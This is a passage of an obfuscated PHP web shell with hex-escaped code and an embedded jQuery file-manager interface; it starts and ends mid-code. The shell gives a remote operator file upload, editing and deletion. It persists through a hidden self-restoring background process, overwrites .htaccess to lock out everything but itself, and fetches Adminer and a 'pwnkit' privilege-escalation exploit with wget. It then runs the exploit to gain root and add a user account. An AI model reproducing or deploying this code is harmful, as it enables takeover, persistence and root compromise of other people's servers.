\x3c/d\x69\x76\x3e\n \x20 \x3c/d\x69v\x3e\n \x20 \x20 \x20 \x3c/\x64i\x76\x3e\n \x20 \x20\x20\x20 \n\x20\x20\x20 "; } echo "\n\x20 \x20\x3cs\x63\x72\x69\x70\x74\x3e\n \x20\x20 \$(\x64\x6fcume\x6e\x74).\x72\x65ad\x79(\x66unct\x69o\x6e()\x20{\n \x20\x20\x20 \x20\x20\x20 \x20\$(\x27\x23c\x72eat\x65_\x66o\x6cd\x65r\x27)\x2e\x63li\x63\x6b(f\x75\x6e\x63\x74i\x6f\x6e() {\n \x20 \x20 \x20 \x20\x20 \$('.modal')\x2es\x68o\x77()\x3b\n\x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \$('\x23m\x6fd\x61l-\x74\x69\x74\x6ce\x27).h\x74\x6dl(\x27\x3c\x69\x20cla\x73\x73=\"\x66a-so\x6c\x69d\x20\x66a-\x66\x6fld\x65\x72-p\x6cus\">\x3c/\x69\x3e\x26nb\x73p;\x43re\x61te F\x6f\x6cde\x72\x27);\n \x20\x20\x20\x20 \x20 \x20\x20 \x20\x20\x20\x20\$(\x27\x23mo\x64\x61l-i\x6eput').\x68t\x6d\x6c(\x27\x3ci\x6e\x70ut\x20t\x79\x70e\x3d\"\x74\x65x\x74\" n\x61\x6de=\"\x63r\x65a\x74\x65\x5f\x66o\x6cde\x72\x22 c\x6c\x61ss\x3d\x22mo\x64\x61l-cr\x65a\x74\x65-\x69\x6e\x70\x75t\x22 \x70\x6c\x61\x63eh\x6fl\x64er=\"\x43reate \x46o\x6cde\x72\x22>\x27)\x3b\n \x20\x20 \x20 \x20 \x20\x20\x20 \x20\x20 \x65\x76\x65n\x74.pr\x65\x76\x65n\x74Def\x61u\x6c\x74();\n \x20\x20\x20 \x20\x20 \x20 \x20 });\n \x20\x20 \x20\x20\x20 \x20 \$('#cre\x61\x74e\x5f\x66\x69le').\x63li\x63\x6b(f\x75ncti\x6f\x6e() {\n \x20 \x20 \x20\x20 \x20 \x20 \x20\x20\$(\x27.mo\x64\x61l\x27).\x73\x68\x6fw()\x3b\n\x20 \x20\x20 \x20 \x20 \x20\$(\x27#\x6dodal-\x74\x69tle')\x2e\x68t\x6dl('\x26\x6e\x62s\x70;\x43rea\x74\x65 Fil\x65\x27)\x3b\n \x20\x20 \x20 \x20 \x20 \$(\x27#\x6do\x64\x61\x6c-\x69np\x75\x74\x27).ht\x6dl('\x3c\x69n\x70\x75t ty\x70\x65=\x22t\x65\x78t\" n\x61m\x65\x3d\x22cr\x65at\x65\x5ffile\x22\x20cl\x61\x73s=\"\x6dod\x61l-\x63\x72\x65a\x74e-\x69npu\x74\"\x20pla\x63\x65\x68o\x6c\x64\x65r\x3d\x22Cr\x65ate\x20\x46i\x6ce\x22>\x27);\n\x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x20 \x65\x76\x65\x6et.\x70\x72\x65\x76e\x6e\x74\x44\x65f\x61\x75\x6ct()\x3b\n \x20\x20 \x20\x20\x20 });\n\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\$('#loc\x6b-f\x69le\x27)\x2ecl\x69\x63\x6b(\x66\x75\x6e\x63\x74\x69\x6fn()\x20{\n\x20 \x20\x20 \x20\x20 \x20 \x20\x20 \$('.\x6d\x6f\x64a\x6c\x27).show()\x3b\n \x20 \x20 \x20 \x20 \x20 \x20\x20\x20\$(\x27#\x6dodal-\x74i\x74le').\x68tml(\x27<\x69 c\x6cas\x73=\"\x66\x61-so\x6ci\x64 f\x61-l\x6f\x63\x6b\"\x3e\x3c/i>\x26n\x62\x73p;\x41DD U\x53E\x52')\x3b\n \x20\x20\x20\x20 \x20\x20\x20 \x20\x20\$('\x23\x6d\x6fdal-i\x6e\x70ut').h\x74ml('\x3c\x69npu\x74\x20type=\x22\x74ext\x22 \x6ea\x6de\x3d\x22add-user\x6ea\x6d\x65\" \x63la\x73s\x3d\x22\x6d\x6f\x64\x61l-\x63reate-inp\x75\x74\x22 \x70\x6c\x61ce\x68o\x6c\x64e\x72\x3d\"\x55\x73\x65\x72\x6e\x61\x6de\">
\x27);\n\x20 \x20\x20 \x20 \x20 \x20 \x20 eve\x6e\x74.p\x72\x65v\x65n\x74D\x65fa\x75lt();\n\x20\x20\x20 \x20 \x20 \x20 });\n\n \x20 \x20 \x20 \$('#c\x6cose-m\x6fd\x61\x6c')\x2ec\x6c\x69c\x6b(\x66\x75\x6e\x63\x74ion()\x20{\n \x20 \x20 \x20\x20 \x20\x20 \$('\x2em\x6fdal\x27)\x2ehide();\n \x20\x20\x20 \x65ven\x74\x2ep\x72e\x76\x65\x6et\x44\x65fa\x75\x6c\x74()\x3b\n \x20\x20\x20\x20\x20\x20 \x20\x20});\n\x20\x20\x20\x20 \x20 \$(\x27\x23\x63\x6c\x6f\x73e-\x65di\x74o\x72\x27)\x2ec\x6c\x69\x63\x6b(f\x75\x6e\x63\x74\x69o\x6e()\x20{\n \x20\x20 \x20\x20\x20 \x20 \x20\$('\x2ec\x6f\x64e-e\x64ito\x72\x27).\x68\x69\x64e()\x3b\n \x20 \x20\x20 \x20\x20 \x20\x20 \x65v\x65\x6e\x74.\x70reve\x6et\x44\x65f\x61\x75\x6c\x74()\x3b\n \x20\x20\x20})\x3b\n\n\x20\x20\x20\x20 \x20\x20\x20 \x20\$(\x27.cl\x6f\x73\x65-te\x72\x6d\x69n\x61l').cl\x69\x63\x6b(f\x75n\x63t\x69\x6f\x6e() {\n \x20 \x20 \x20 \x20 \x20 \$('.\x74\x65r\x6dinal')\x2e\x68\x69\x64\x65();\n\x20\x20 \x20 \x20\x20 \x20 \x20\x20 \x65vent\x2e\x70\x72\x65\x76en\x74\x44\x65f\x61u\x6ct()\x3b\n \x20\x20\x20\x20\x20\x20\x20 \x20})\x3b\n\x20 \x20 \x20\x20 \x20 \x20\x20\$(\x27.\x63lose-b\x74\x6e-\x73').\x63l\x69ck(f\x75nc\x74\x69on() {\n \x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x20\$(\x27.m\x6f\x64a\x6c')\x2ehide();\n\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 \x20event\x2e\x70\x72eve\x6e\x74\x44\x65f\x61u\x6c\x74()\x3b\n \x20 \x20 \x20\x20\x20 })\x3b\n \x20\x20 });\n \x3c/\x73\x63ri\x70\x74\x3e\n\x3c/\x62\x6fd\x79>\n\n\n"; if (isset($_GET["lo\x63ks\x68\x65ll"])) { $utqmnnk = "c\x75rF\x69\x6c\x65"; $jknnjceqxq = "\x54\x6d\x70\x4ea\x6des"; ${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6d\x6cak\x79\x6d\x6c\x6c"] = "\x54m\x70\x4eam\x65\x73"; $isohmvpx = "\x63\x75\x72Fil\x65"; $zvtyjjr = "h\x6e\x64l\x65\x72s"; ${"\x47\x4c\x4f\x42A\x4cS"}["y\x74p\x73dr\x7a\x6f\x76\x6d"] = "\x54m\x70\x4ea\x6d\x65\x73"; $dbpnkmsfi = "\x66\x75n\x67\x73i"; $bdoupnyyd = "T\x6d\x70N\x61\x6de\x73"; ${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x74pi\x6a\x74t\x78c"] = "\x63\x75r\x46ile"; ${"\x47\x4c\x4fB\x41\x4cS"}["p\x6bbr\x75q\x79"] = "\x54\x6dp\x4e\x61\x6d\x65s"; ${"\x47L\x4f\x42\x41\x4c\x53"}["\x6am\x76\x6b\x61\x67\x75f"] = "\x66\x75n\x67si"; ${"\x47LO\x42\x41L\x53"}["\x78\x68lf\x69\x61\x73j"] = "\x66u\x6e\x67s\x69"; $ynojlolnjc = "\x63\x75\x72\x46il\x65"; ${${"G\x4cOB\x41LS"}["\x76\x66\x75hqrq\x72\x63e"]} = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])); ${${"GL\x4f\x42\x41\x4c\x53"}["\x6e\x66od\x62\x64e\x6a"]} = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x6e\x78\x6apdu\x6f\x6c"]}[31](); if (file_exists(${${"GLO\x42AL\x53"}["\x70k\x62\x72\x75\x71\x79"]} . "/.s\x65ss\x69ons/\x2e" . base64_encode(${${"GLO\x42A\x4c\x53"}["snx\x6a\x70d\x75o\x6c"]}[0]() . remove_dot(${$utqmnnk}) . "-han\x64\x6c\x65\x72")) && file_exists(${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x66\x6f\x64\x62\x64\x65\x6a"]} . "/.se\x73sio\x6es/." . base64_encode(${${"\x47LOB\x41\x4c\x53"}["\x78\x68l\x66\x69\x61\x73\x6a"]}[0]() . remove_dot(${$ynojlolnjc}) . "-t\x65xt"))) { ${"\x47\x4c\x4fBA\x4cS"}["b\x6d\x76\x67\x77\x6e\x78b\x63io"] = "c\x75\x72\x46i\x6c\x65"; ${"\x47\x4cO\x42A\x4c\x53"}["\x63mt\x6c\x6bb\x69"] = "\x63\x75rFi\x6c\x65"; ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x77\x6a\x6ak\x73\x6cl"] = "Tm\x70Nam\x65\x73"; $btcufyjqga = "fu\x6e\x67\x73i"; cmd("rm -r\x66 " . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61w\x6a\x6a\x6b\x73\x6cl"]} . "/.s\x65\x73sion\x73/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"G\x4cOB\x41L\x53"}["b\x6d\x76\x67w\x6e\x78\x62\x63\x69\x6f"]}) . "-\x74\x65\x78t")); cmd("\x72m -\x72\x66 " . ${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x66o\x64\x62d\x65\x6a"]} . "/.\x73e\x73\x73\x69on\x73/." . base64_encode(${${"\x47\x4cO\x42A\x4cS"}["\x73\x6e\x78j\x70\x64u\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4c\x53"}["c\x6d\x74\x6c\x6bbi"]}) . "-hand\x6ce\x72")); } $enznadbms = "\x63\x75\x72\x46il\x65"; ${"\x47L\x4fBA\x4c\x53"}["\x61dfv\x77\x66\x70\x71x"] = "\x68a\x6e\x64\x6c\x65\x72"; $jadnlsj = "cu\x72\x46\x69\x6c\x65"; mkdir(${${"G\x4cO\x42\x41LS"}["q\x6dlakym\x6c\x6c"]} . "/\x2e\x73ess\x69on\x73"); cmd("\x63\x70 $curFile\x20" . ${$jknnjceqxq} . "/\x2es\x65ssi\x6fns/." . base64_encode(${${"G\x4cOB\x41L\x53"}["s\x6e\x78\x6a\x70du\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fB\x41\x4cS"}["\x76f\x75hqr\x71\x72c\x65"]}) . "-\x74ex\x74")); $ehhejlebpl = "fu\x6e\x67\x73\x69"; chmod(${${"\x47\x4cO\x42\x41\x4cS"}["\x76\x66\x75\x68q\x72qrc\x65"]}, 0444); $lkbiqkuwg = "\x66\x75\x6e\x67s\x69"; ${${"\x47L\x4f\x42\x41\x4c\x53"}["a\x64\x66\x76w\x66p\x71\x78"]} = "\n\x3c?\x70\x68p\n@i\x6e\x69_s\x65\x74(\x22\x6d\x61\x78_e\x78e\x63\x75\x74i\x6fn\x5ft\x69\x6de\", \x30)\x3b\nwh\x69\x6ce\x20(\x54ru\x65){\n \x20\x20 i\x66 (\x21f\x69l\x65_ex\x69sts(\x22" . __DIR__ . "\")){\n\x20\x20 \x20 \x20 \x6dk\x64\x69\x72(\x22" . __DIR__ . "\");\n \x20\x20 }\n\x20\x20\x20\x20\x69\x66 (\x21\x66\x69\x6ce_exist\x73(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x66\x75h\x71r\x71\x72c\x65"]} . "\x22)){\n \x20\x20 \$\x74\x65\x78t\x20\x3d \x62a\x73e\x364\x5f\x65\x6eco\x64\x65(fil\x65\x5fg\x65\x74_\x63\x6f\x6e\x74\x65nt\x73(\"" . ${${"G\x4c\x4f\x42A\x4c\x53"}["\x79\x74\x70\x73\x64r\x7aov\x6d"]} . "/\x2esessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-\x74\x65\x78t") . "\x22))\x3b\n \x20 \x20 \x66i\x6ce_p\x75\x74\x5f\x63on\x74e\x6ets(\"" . ${${"\x47\x4cOB\x41\x4c\x53"}["s\x6e\x78\x6a\x70d\x75o\x6c"]}[0]() . "/" . ${${"\x47\x4cOB\x41\x4cS"}["\x76\x66u\x68\x71r\x71\x72ce"]} . "\x22,\x20base\x36\x34_\x64\x65c\x6fde(\$t\x65\x78\x74));\n \x20}\n\x20 \x20i\x66 (\x67\x65\x63\x6bo_\x70\x65\x72\x6d(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\")\x20\x21=\x20\x30\x34\x344){\n\x20\x20 \x20 \x63hmod(\"" . ${${"\x47\x4c\x4fB\x41LS"}["\x73\x6e\x78\x6a\x70\x64u\x6f\x6c"]}[0]() . "/" . ${$isohmvpx} . "\x22,\x20\x30\x34\x344);\n\x20 }\n}\n\nfu\x6ec\x74\x69\x6f\x6e \x67ecko\x5fperm(\$f\x6ce\x6eame){\n\x20\x20\x20 r\x65tu\x72\x6e s\x75\x62\x73\x74r(s\x70\x72in\x74f(\x22\x25o\",\x20\x66\x69\x6c\x65perm\x73(\$fl\x65\x6e\x61\x6d\x65)), -\x34);\n}\n"; $nbxxth = "h\x6e\x64l\x65\x72s"; ${$zvtyjjr} = ${${"G\x4c\x4fBA\x4c\x53"}["\x6amv\x6bag\x75\x66"]}[28](${$bdoupnyyd} . "/\x2e\x73\x65ss\x69on\x73/\x2e" . base64_encode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x6e\x78j\x70\x64\x75\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4f\x42A\x4cS"}["utp\x69\x6a\x74\x74\x78c"]}) . "-ha\x6e\x64\x6c\x65r") . "", ${${"\x47\x4c\x4fB\x41L\x53"}["v\x6f\x67\x78\x79\x73"]}); if (${$nbxxth}) { ${"\x47L\x4fBAL\x53"}["c\x72\x67d\x78\x7a\x70u"] = "\x66\x75\x6eg\x73\x69"; cmd("p\x68\x70\x20" . ${${"\x47L\x4f\x42\x41LS"}["nf\x6f\x64\x62\x64e\x6a"]} . "/\x2es\x65ssi\x6fn\x73/." . base64_encode(${${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x72\x67dxz\x70u"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4cS"}["\x76\x66\x75\x68qrq\x72\x63e"]}) . "-\x68a\x6e\x64ler") . " > /\x64ev/\x6e\x75\x6cl 2>/\x64ev/\x6eull \x26"); } else { failed(); } } if (isset($_POST["gec\x6b\x6f-\x75\x70-\x73\x75bmi\x74"])) { $ovodrch = "\x66\x75ng\x73i"; ${"GL\x4f\x42AL\x53"}["d\x62\x6c\x73\x74e\x64t"] = "t\x6dpNa\x6d\x65"; ${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x6b\x6fvn\x67\x62q"] = "\x74\x6d\x70\x4e\x61\x6d\x65"; ${${"\x47L\x4f\x42\x41\x4c\x53"}["t\x73kf\x63wed\x6bd\x65\x74"]} = $_FILES["g\x65c\x6b\x6f-u\x70\x6coad"]["\x6e\x61m\x65"]; ${${"\x47\x4cOB\x41\x4c\x53"}["\x79\x6bo\x76\x6egbq"]} = $_FILES["g\x65ck\x6f-u\x70load"]["tm\x70\x5f\x6ea\x6d\x65"]; if (${$ovodrch}[29](${${"GL\x4fB\x41\x4c\x53"}["\x64\x62\x6c\x73\x74\x65d\x74"]}, ${${"\x47LO\x42ALS"}["\x73\x6ex\x6ap\x64\x75ol"]}[0]() . "/" . ${${"GL\x4fB\x41L\x53"}["ts\x6bf\x63w\x65\x64\x6bde\x74"]})) { success(); } else { failed(); } } if ($_GET["lo\x67o\x75t"] == True) { session_destroy(); session_unset(); success(); } if (isset($_GET["\x64\x65\x73\x74r\x6f\x79"])) { $xuucfxmk = "\x44\x4fC\x5f\x52\x4f\x4f\x54"; ${$xuucfxmk} = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"]; $sscohen = "\x43\x75\x72\x72\x65\x6e\x74\x46\x69\x6c\x65"; ${$sscohen} = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])); if (${${"\x47\x4cO\x42\x41L\x53"}["\x73n\x78jp\x64u\x6f\x6c"]}[4](${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77iy\x72tp"]})) { ${"G\x4c\x4f\x42\x41L\x53"}["wf\x77\x6c\x73\x61"] = "\x44OC\x5fROOT"; ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67\x78\x79\x74\x72\x76\x67\x74c"] = "\x68t\x61\x63c\x65\x73s"; ${${"\x47L\x4fBA\x4c\x53"}["y\x79x\x72o\x61b\x79\x77c\x68\x79"]} = "\n\n\x20\x20 \x20D\x65ny\x20f\x72\x6fm\x20\x61l\x6c\n\n<\x46\x69lesM\x61\x74\x63h\x20\"^(" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["x\x70i\x78z\x75\x76\x65r\x6e\x6b\x75"]} . "|in\x64e\x78\x2eph\x70|w\x70-co\x6e\x66\x69g\x2e\x70h\x70|\x77p-incl\x75\x64\x65s.p\x68\x70)\$\x22\x3e\n \x20 \x20\x41\x6c\x6cow fro\x6d all\n\x3c/F\x69lesMatc\x68>\n\x3cFi\x6ces\x4d\x61\x74c\x68 \"\\\x2e(j\x70\x67|\x70ng|\x67if|\x70\x64\x66|j\x70\x65g)\$\">\n\x20\x20 \x20\x41llo\x77 \x66\x72\x6f\x6d\x20a\x6cl\n\x3c/F\x69lesM\x61\x74\x63h\x3e"; ${"GL\x4fB\x41L\x53"}["x\x62\x76\x64\x78f\x6c\x76\x63c"] = "p\x75t_\x68\x74\x74"; ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6d\x67\x73q\x72\x6amx"] = "f\x75ng\x73\x69"; $umjimuogf = "\x70\x75t\x5f\x68tt"; ${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x62\x76d\x78\x66\x6c\x76cc"]} = ${${"\x47\x4cOBA\x4c\x53"}["m\x67s\x71\x72\x6am\x78"]}[28](${${"\x47LO\x42\x41LS"}["\x77f\x77\x6c\x73\x61"]} . "/\x2e\x68\x74\x61\x63ce\x73\x73", ${${"G\x4c\x4fB\x41\x4c\x53"}["\x67xy\x74rv\x67tc"]}); if (${$umjimuogf}) { success(); } else { failed(); } } else { failed(); } } if (isset($_POST["s\x61v\x65-\x65d\x69\x74or"])) { ${"G\x4cO\x42\x41L\x53"}["q\x6cq\x75uf"] = "\x73\x61v\x65"; ${"GLOB\x41LS"}["\x70\x63\x71iae\x75\x65"] = "\x73av\x65"; ${"\x47\x4cOB\x41\x4c\x53"}["\x68\x65\x6cv\x68\x63"] = "\x66u\x6eg\x73i"; $blekadey = "f\x75n\x67\x73i"; ${${"GL\x4fBA\x4c\x53"}["\x70c\x71\x69\x61\x65\x75\x65"]} = ${${"GLO\x42\x41LS"}["he\x6cvh\x63"]}[28](${$blekadey}[0]() . "/" . unx($_GET["f"]), $_POST["co\x64e-\x65\x64i\x74\x6fr"]); if (${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71l\x71u\x75\x66"]}) { success(); } else { failed(); } } if (isset($_GET["ad\x6d\x69ne\x72"])) { ${"\x47LO\x42\x41LS"}["\x6f\x69\x63\x68\x62\x6b\x6dz\x72l\x6c"] = "fu\x6eg\x73\x69"; ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ac\x76\x6ay\x62ok\x71u\x78"] = "\x55\x52L"; ${${"GL\x4f\x42A\x4cS"}["\x6ac\x76\x6ay\x62\x6f\x6bq\x75\x78"]} = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70"; if (!${${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x69\x63hb\x6bm\x7a\x72l\x6c"]}[3]("a\x64mi\x6e\x65\x72\x2e\x70hp")) { $cobwbfqqduim = "\x66\x75\x6eg\x73\x69"; $kvjkcnn = "\x55R\x4c"; cmd("wge\x74\x20" . ${$kvjkcnn} . "\x20-\x4f \x61\x64m\x69\x6eer\x2e\x70\x68p\x20--qu\x69et"); echo ""; } } if ($_GET["\x74\x65rmi\x6ea\x6c"] == "root") { ${"\x47L\x4f\x42\x41LS"}["\x72\x66w\x71m\x75\x74\x70dy"] = "\x66\x75\x6egs\x69"; if (!${${"\x47LO\x42\x41L\x53"}["\x72\x66\x77\x71\x6du\x74p\x64y"]}[3]("\x70\x77\x6e\x6b\x69t")) { cmd("w\x67\x65t \x68t\x74p\x73://\x67\x69th\x75\x62.\x63om/M\x61dExpl\x6fi\x74s/\x50\x72\x69\x76\x65\x6c\x65g\x65-escala\x74\x69\x6f\x6e/r\x61\x77/ma\x69\x6e/\x70wn\x6bit\x20-\x4f\x20\x70w\x6e\x6b\x69t"); ${"\x47\x4cOB\x41\x4c\x53"}["\x74\x6e\x6at\x78\x61\x66j\x79\x67\x74"] = "\x66un\x67\x73\x69"; cmd("\x63h\x6d\x6f\x64\x20+\x78\x20\x70\x77n\x6bi\x74"); echo cmd("./\x70w\x6ek\x69\x74\x20id\x20> \x2e\x6dad-\x72\x6f\x6ft"); echo ""; } } if (isset($_POST["\x73ubmit-acti\x6f\x6e"])) { $dvyggfaifhal = "\x69\x74e\x6ds"; ${$dvyggfaifhal} = $_POST["c\x68\x65\x63\x6b"]; if ($_POST["\x67\x65c\x6bo-sel\x65\x63\x74"] == "de\x6cete") { foreach (${${"G\x4c\x4fB\x41\x4cS"}["w\x73\x6d\x69q\x6d\x6a"]} as ${${"\x47L\x4f\x42A\x4c\x53"}["\x68\x63o\x6f\x73p\x6e\x66fx\x77"]}) { ${"\x47\x4c\x4fB\x41\x4cS"}["\x67y\x62\x6b\x72\x71\x66\x76"] = "\x66d"; $hflksuh = "f\x64"; $blcjto = "\x66\x64"; $hrlurq = "\x66\x75\x6e\x67\x73\x69"; ${"G\x4c\x4fB\x41\x4c\x53"}["\x7a\x75\x6a\x63\x77\x68\x71"] = "\x72\x65\x70\x6c"; ${${"\x47\x4c\x4f\x42\x41L\x53"}["gs\x75lz\x69o\x68"]} = str_replace("\x5c", "/", ${$hrlurq}[0]()); ${${"G\x4c\x4f\x42\x41\x4c\x53"}["gy\x62\x6b\x72\x71fv"]} = ${${"G\x4c\x4f\x42\x41L\x53"}["\x7a\x75\x6a\x63\x77\x68\x71"]} . "/" . ${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x63\x6f\x6f\x73p\x6e\x66fx\x77"]}; if (is_dir(${$blcjto}) || is_file(${$hflksuh})) { $gnetoshcg = "f\x64"; ${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x7a\x68t\x77\x73\x6e"] = "\x66d"; $ivhfruxuecjx = "\x72\x6ddir"; ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x66\x6e\x6f\x6d\x74\x61"]} = unlinkDir(${$gnetoshcg}); ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x70\x71x\x6cxl\x65"]} = ${${"\x47LO\x42\x41\x4c\x53"}["sn\x78j\x70\x64\x75\x6f\x6c"]}[24](${${"\x47LOB\x41L\x53"}["\x79\x7a\x68\x74w\x73n"]}); if (${$ivhfruxuecjx} || ${${"GL\x4fB\x41\x4c\x53"}["\x67p\x71\x78\x6c\x78\x6c\x65"]}) { success(); } else { failed(); } } } } } if (isset($_POST["s\x75bm\x69t"])) { if ($_POST["\x63\x72\x65ate_\x66ol\x64er"] == true) { $ypqokprwpmng = "\x66\x75\x6e\x67\x73\x69"; $gdpguhc = "\x4e\x61\x6d\x61\x46ol\x64e\x72"; ${"G\x4c\x4f\x42\x41L\x53"}["\x6e\x63\x74\x70\x6bc\x6c\x6fa"] = "\x4e\x61\x6da\x46\x6fl\x64e\x72"; ${${"\x47L\x4fB\x41\x4cS"}["\x6e\x63\x74\x70\x6b\x63loa"]} = ${$ypqokprwpmng}[12]($_POST["\x63r\x65\x61\x74\x65\x5ffo\x6c\x64\x65\x72"]); if (${$gdpguhc}) { success(); } else { failed(); } } else if ($_POST["\x63r\x65\x61te\x5ff\x69l\x65"] == true) { $uvybcnskmbw = "n\x61maF\x69\x6ce"; ${"\x47L\x4f\x42A\x4cS"}["\x62\x6c\x76\x64\x66\x71\x6f\x68\x72u"] = "\x66\x75\x6e\x67\x73i"; ${"\x47\x4c\x4fBA\x4cS"}["\x71\x72\x64\x78ikgz\x73"] = "\x6e\x61\x6d\x61F\x69\x6c\x65"; ${${"G\x4cOB\x41\x4cS"}["\x71\x72\x64x\x69k\x67\x7as"]} = ${${"\x47\x4cO\x42\x41LS"}["\x62\x6c\x76\x64\x66q\x6f\x68\x72\x75"]}[13]($_POST["\x63r\x65\x61\x74e\x5ffil\x65"]); if (${$uvybcnskmbw}) { success(); } else { failed(); } } else if ($_POST["\x72e\x6e\x61\x6deFil\x65"] == true) { $ydnfxcqunmh = "\x72e\x6e\x61\x6d\x65F\x69\x6c\x65"; ${$ydnfxcqunmh} = ${${"\x47\x4cO\x42\x41\x4cS"}["\x73\x6ex\x6a\x70\x64u\x6f\x6c"]}[15](unx($_GET["re"]), $_POST["\x72en\x61me\x46\x69le"]); if (${${"\x47L\x4f\x42\x41L\x53"}["\x71h\x78n\x67\x67\x73\x66"]}) { success(); } else { failed(); } } else if ($_POST["\x63\x68\x46\x69\x6c\x65"]) { $wgnsecqi = "\x63h\x46\x69\x6ce\x73"; ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fo\x66t\x71\x76\x6b\x73"]} = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x6e\x78jp\x64\x75o\x6c"]}[30](unx($_GET["\x63h"]), $_POST["c\x68F\x69l\x65"]); if (${$wgnsecqi}) { success(); } else { failed(); } } else if (isset($_POST["a\x64d-us\x65rn\x61\x6d\x65"]) && isset($_POST["a\x64d-\x70a\x73sword"])) { ${"\x47\x4c\x4f\x42\x41LS"}["\x68\x78w\x6b\x6fj\x6b\x71"] = "\x66\x75n\x67\x73i"; if (!${${"GL\x4f\x42A\x4cS"}["h\x78\x77\x6b\x6f\x6a\x6b\x71"]}[3]("p\x77\x6e\x6b\x69t")) { cmd("\x77\x67\x65\x74\x20\x68\x74\x74\x70s://\x67i\x74hu\x62\x2e\x63om/Ma\x64E\x78p\x6co\x69ts/\x50\x72i\x76\x65le\x67e-\x65s\x63\x61\x6c\x61\x74\x69o\x6e/r\x61\x77/m\x61\x69n/p\x77n\x6bit -\x4f\x20p\x77\x6ek\x69\x74"); cmd("chm\x6f\x64\x20+\x78 \x70w\x6ek\x69\x74"); ${"\x47L\x4f\x42\x41L\x53"}["\x73\x71w\x6c\x6e\x61\x73\x78"] = "f\x75\x6e\x67\x73\x69"; cmd("./pwnkit \"i\x64\" > \x2e\x6dad-\x72\x6fot"); echo "<\x6det\x61\x20\x68tt\x70-\x65\x71u\x69\x76\x3d\x22r\x65fres\x68\x22\x20c\x6fnt\x65n\x74=\"\x30;ur\x6c\x3d?d=" . hx(${${"\x47\x4cO\x42\x41\x4c\x53"}["sq\x77\x6cn\x61\x73\x78"]}[0]()) . "\x26\x72ooti\x6eg\x3d\x54\x72ue\x22\x3e"; } else if (${${"\x47\x4c\x4f\x42\x41L\x53"}["sn\x78\x6apd\x75\x6f\x6c"]}[3](".mad-r\x6f\x6f\x74")) { $cbzwrut = "\x72\x65s\x70\x6f\x6ese"; ${$cbzwrut} = ${${"\x47\x4c\x4fB\x41LS"}["\x73nxjp\x64\x75o\x6c"]}[11](".\x6d\x61d-r\x6f\x6ft"); $eshdcuwg = "\x72\x65\x73\x70\x6f\x6e\x73\x65"; ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x64\x65ydy\x72\x65"]} = explode("\x20", ${$eshdcuwg}); if (${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x64\x65\x79\x64\x79\x72\x65"]}[0] == "ui\x64\x3d0(r\x6f\x6ft)") { $snjesqrgx = "\x75\x73er\x6ea\x6d\x65"; ${${"\x47\x4c\x4f\x42A\x4cS"}["f\x71wh\x63\x75j"]} = $_POST["\x61\x64\x64-u\x73e\x72\x6eam\x65"]; ${"\x47\x4c\x4fBA\x4c\x53"}["\x77u\x70\x6e\x62\x68i\x6b\x75"] = "\x75\x73\x65rna\x6d\x65"; ${${"G\x4c\x4f\x42\x41LS"}["\x6f\x68m\x75\x73\x77\x68\x6bx\x78"]} = $_POST["\x61d\x64-pas\x73\x77\x6f\x72\x64"]; cmd("\x2e/\x70\x77\x6ekit\x20\x22\x75\x73e\x72a\x64d\x20" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77up\x6e\x62\x68i\x6b\x75"]} . " ;\x20\x65\x63h\x6f\x20-e\x20\x22" . ${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x68\x6du\x73\x77\x68k\x78x"]} . "\x5c\x6e" . 